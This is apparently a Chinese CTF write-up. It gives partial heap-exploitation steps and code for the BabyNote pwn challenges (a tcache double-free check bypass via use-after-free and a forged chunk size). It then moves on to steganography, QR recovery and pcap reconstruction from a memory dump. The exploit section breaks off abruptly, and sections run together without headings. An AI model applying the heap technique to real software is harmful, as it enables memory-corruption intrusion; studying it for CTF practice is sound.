两道经典菜单堆题。
BabyNote:
BabyNote_revenge 在 BabyNote 的基础上做了以下改动:
该方法无需泄露堆地址,只需分配9次堆块就能泄露 libc 地址。
题目libc版本是 2.31。新版本 2.27 以后,tcache 会对链表中的所有堆块进行 double free check,所以不能像以前这样直接利用 double free。
绕过方法很简单:只有当 chunk 的 key 字段(刚好位于 fd 后面)恰好等于 tcache 地址时,tcache 才会进行 double free check,所以我们通过 UAF 将前 0x10 字节直接清零就能绕过了。
思路与方法二十分相似,都是试图将一个 chunk 释放到 unsorted bin。
首先分配 4 个堆块:
for i in range(4):
alloc()
然后依次释放chunk #0、#1。此时 chunk #1 fd 指向 #0(低1字节是0xa0).
我们通过 UAF 将 #1 fd 低1字节修改为 0xb0,即把 fd 指针向下移动 0x10 字节。
# tcache fd = chunk+0x10
delete(0)
delete(1)
edit(1, p8(0xb0))
alloc()
alloc() # chunk #5
这样我们可以通过 chunk #0 控制 chunk #5 的头部。
将 chunk #5 的大小修改为 0x110。
edit(0, flat([0, 0x111]))
Fake chunk:
binwalk -Me pig.gif 可以获得一个压缩文件,需要密码打开
把gif每帧拆分出来
找第一帧和其他帧的不同像素点,然后组合,可以得到一张二维码,识别结果是JUZFU2C2NJTTETKUKF3Q====,base32再base64解码
from PIL import Image
img1 = Image.open(f"frame1.bmp")
res = Image.new("1", (650, 650))
for k in range(2, 26):
img2 = Image.open(f"frame{k}.bmp")
for i in range(650):
for j in range(650):
if img1.getpixel((i, j)) != img2.getpixel((i, j)):
res.putpixel((i,j), 255)
res.show()
3faf86140就是压缩包密码,解压可得一张图,猪圈密码解密即可
strings dump | grep '^[[:alnum:]]{8}:' > result.txt 提取出hexdump
重新排序组合
end = 0x003d7150
file = open("result.txt", "r").readlines()
out = open("recovery.txt", "w")
dic = {}
for line in file:
s = line.split(": ")
if len(s[1]) < 39:
continue
idx = int(s[0], 16)
data = s[1][:39]
dic[idx] = data
for i in range(0, end, 16):
out.write(dic[i]+'\n')
out.close()
将排序后的数据复制粘贴到hxd,还原pcap文件
还原后的pcap文件用wireshark打开会报错,点ok可以继续打开,但是看了一下没找到有用的信息,后续用strings recovery.pcap > pcap_str.txt可以发现某些数据中含有/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{}字串,字串后面就是位置信息
grep 'tgPos' -A 2 pcap_str.txt > pos.txt 提取全部位置信息
脚本还原
import time
# f = open("pos.txt", 'r').readlines()
# pos = []
# for i in range(2, len(f), 4):
# pos += eval(f[i])
pos = [92, 81, 0, 92, 81, 0, 93, 81, 0, 93, 80, 0, 95, 80, 0, 98, 80, 0, 100, 80, 0, 102, 80, 0, 107, 80, 0, 111, 81, 0, 114, 82, 0, 117, 83, 0, 119, 85, 0, 121, 86, 0, 123, 87, 0, 124, 88, 0, 125, 90,